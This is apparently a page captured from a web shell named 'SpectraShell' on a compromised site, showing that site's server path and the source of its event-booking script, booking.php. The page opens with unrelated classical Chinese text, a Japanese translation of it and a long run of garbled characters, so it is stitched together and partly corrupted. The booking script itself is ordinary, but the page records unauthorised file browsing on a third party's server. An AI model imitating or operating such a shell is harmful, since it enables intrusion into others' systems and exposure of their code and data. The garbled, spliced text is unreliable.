先帝创业未半而中道崩殂,今天下三分,益州疲弊,此诚危急存亡之秋也。然侍卫之臣不懈于内,忠志之士忘身于外者,盖追先帝之殊遇,欲报之于陛下也。诚宜开张圣听,以光先帝遗德,恢弘志士之气,不宜妄自菲薄,引喻失义,以塞忠谏之路也先帝は天下を興す志半ばにして志半ばにして崩御されました。今、天下は三つに分かれ、益州は疲弊しており、まさに存亡の危機に瀕しております。しかしながら、宮中で職務に励む臣下や、外地で身を顧みず尽力する志士たちがいるのは、ひとえに先帝から受けた格別な恩義を思い、陛下に報いようとする志があるからです。今こそ陛下には広く臣下の意見に耳を傾け、先帝の遺徳を輝かせ、志士たちの士気を高めるべきです。決して自らを卑下したり、不適切な例えを用いて忠言の道を閉ざしたりしてはなりません。鍏堝笣鍒涗笟鏈崐鑰屼腑閬撳穿娈傦紝浠婂ぉ涓嬩笁鍒嗭紝鐩婂窞鐤插紛锛屾璇氬嵄鎬ュ瓨浜′箣绉嬩篃銆傜劧渚嶅崼涔嬭嚕涓嶆噲浜庡唴锛屽繝蹇椾箣澹繕韬簬澶栬€咃紝鐩栬拷鍏堝笣涔嬫畩閬囷紝娆叉姤涔嬩簬闄涗笅涔熴€傝瘹瀹滃紑寮犲湥鍚紝浠ュ厜鍏堝笣閬楀痉锛屾仮寮樺織澹箣姘旓紝涓嶅疁濡勮嚜鑿茶杽锛屽紩鍠诲け涔夛紝浠ュ蹇犺皬涔嬭矾涔🌌 SpectraShell

🌌 SpectraShell

Current path: home/infuteik/public_html/icfkolkata.com/



⬆️ Go up: /home/infuteik/public_html

📄 Viewing: booking.php

<?php
require_once __DIR__ . '/admin/db.php';
$eventId = (int)($_GET['event_id'] ?? 0);
$stmt = $conn->prepare("SELECT id, title, date, location, price FROM events WHERE id = ?");
$stmt->bind_param("i", $eventId);
$stmt->execute();
$event = $stmt->get_result()->fetch_assoc();
if (!$event) { header('Location: event.php'); exit; }

$success = false;
$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name    = trim($_POST['name'] ?? '');
    $email   = trim($_POST['email'] ?? '');
    $phone   = trim($_POST['phone'] ?? '');
    $company = trim($_POST['company'] ?? '');
    $message = trim($_POST['message'] ?? '');

    if (empty($name) || empty($email) || empty($phone)) {
        $error = 'Please fill all required fields.';
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $error = 'Please enter a valid email address.';
    } else {
        $stmt = $conn->prepare("INSERT INTO event_bookings (event_id, name, email, phone, company, message) VALUES (?, ?, ?, ?, ?, ?)");
        $stmt->bind_param("isssss", $eventId, $name, $email, $phone, $company, $message);
        if ($stmt->execute()) {
            $success = true;
        } else {
            $error = 'Booking failed. Please try again.';
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Book Your Seat - <?= htmlspecialchars($event['title']) ?></title>
    <link rel="stylesheet" href="assets/css/bootstrap.min.css" />
    <link rel="stylesheet" href="assets/css/all-fontawesome.min.css" />
    <style>
        body { background: linear-gradient(135deg, #f0f2f8 0%, #e8ecf4 100%); font-family: 'Segoe UI', sans-serif; }
        .booking-wrap { min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 20px; }
        .booking-card { background: #fff; border-radius: 16px; box-shadow: 0 8px 32px rgba(0,0,0,.12); max-width: 600px; width: 100%; overflow: hidden; }
        .booking-header { background: linear-gradient(135deg, #1a3c6e, #1565c0); color: #fff; padding: 28px 32px; text-align: center; }
        .booking-header h3 { font-size: 1.4rem; font-weight: 700; margin-bottom: 8px; }
        .booking-header .event-info { font-size: .9rem; opacity: .85; }
        .booking-body { padding: 32px; }
        .form-label { font-size: .85rem; font-weight: 600; color: #444; margin-bottom: 6px; }
        .form-control { border: 1.5px solid #e0e4ef; border-radius: 8px; padding: 12px 14px; font-size: .9rem; }
        .form-control:focus { border-color: #1a3c6e; box-shadow: 0 0 0 3px rgba(26,60,110,.1); }
        .btn-book { background: linear-gradient(135deg, #1a3c6e, #1565c0); color: #fff; border: none; padding: 14px 28px; border-radius: 10px; font-weight: 600; font-size: 1rem; width: 100%; }
        .btn-book:hover { opacity: .9; color: #fff; }
        .btn-back { background: #f8f9fa; color: #666; border: 1.5px solid #e0e4ef; padding: 12px 24px; border-radius: 8px; text-decoration: none; font-size: .9rem; }
        .btn-back:hover { background: #e9ecef; color: #444; }
        .success-msg { text-align: center; padding: 40px 20px; }
        .success-msg i { font-size: 3rem; color: #28a745; margin-bottom: 16px; }
        .success-msg h4 { color: #1a3c6e; margin-bottom: 12px; }
        .success-msg p { color: #666; margin-bottom: 24px; }
        .event-badge { display: inline-flex; align-items: center; gap: 6px; background: rgba(255,255,255,.15); border-radius: 20px; padding: 4px 12px; font-size: .8rem; margin: 0 4px 4px 0; }
    </style>
</head>
<body>
<div class="booking-wrap">
    <div class="booking-card">
        <div class="booking-header">
            <h3><i class="fas fa-ticket-alt me-2"></i>Book Your Seat</h3>
            <div class="event-info">
                <strong><?= htmlspecialchars($event['title']) ?></strong><br>
                <span class="event-badge"><i class="far fa-calendar-days"></i> <?= date('M j, Y', strtotime($event['date'])) ?></span>
                <span class="event-badge"><i class="far fa-location-dot"></i> <?= htmlspecialchars($event['location']) ?></span>
                <?php if (!empty($event['price'])): ?>
                <span class="event-badge"><i class="fas fa-tag"></i> <?= htmlspecialchars($event['price']) ?></span>
                <?php endif; ?>
            </div>
        </div>
        <div class="booking-body">
            <?php if ($success): ?>
                <div class="success-msg">
                    <i class="fas fa-check-circle"></i>
                    <h4>Booking Submitted Successfully!</h4>
                    <p>Thank you for your interest. We'll contact you soon with confirmation details.</p>
                    <a href="detail.php?id=<?= $eventId ?>" class="btn btn-book">Back to Event</a>
                </div>
            <?php else: ?>
                <?php if ($error): ?>
                    <div class="alert alert-danger"><i class="fas fa-exclamation-circle me-2"></i><?= htmlspecialchars($error) ?></div>
                <?php endif; ?>
                <form method="POST">
                    <div class="row g-3">
                        <div class="col-md-6">
                            <label class="form-label">Full Name *</label>
                            <input type="text" name="name" class="form-control" required value="<?= htmlspecialchars($_POST['name'] ?? '') ?>" />
                        </div>
                        <div class="col-md-6">
                            <label class="form-label">Email Address *</label>
                            <input type="email" name="email" class="form-control" required value="<?= htmlspecialchars($_POST['email'] ?? '') ?>" />
                        </div>
                        <div class="col-md-6">
                            <label class="form-label">Phone Number *</label>
                            <input type="tel" name="phone" class="form-control" required value="<?= htmlspecialchars($_POST['phone'] ?? '') ?>" />
                        </div>
                        <div class="col-md-6">
                            <label class="form-label">Company/Organization</label>
                            <input type="text" name="company" class="form-control" value="<?= htmlspecialchars($_POST['company'] ?? '') ?>" />
                        </div>
                        <div class="col-12">
                            <label class="form-label">Additional Message</label>
                            <textarea name="message" class="form-control" rows="3" placeholder="Any special requirements or questions..."><?= htmlspecialchars($_POST['message'] ?? '') ?></textarea>
                        </div>
                    </div>
                    <div class="d-flex gap-3 mt-4">
                        <button type="submit" class="btn btn-book flex-fill">
                            <i class="fas fa-paper-plane me-2"></i>Submit Booking
                        </button>
                        <a href="detail.php?id=<?= $eventId ?>" class="btn btn-back">
                            <i class="fas fa-arrow-left me-1"></i>Back
                        </a>
                    </div>
                </form>
            <?php endif; ?>
        </div>
    </div>
</div>
</body>
</html>


📁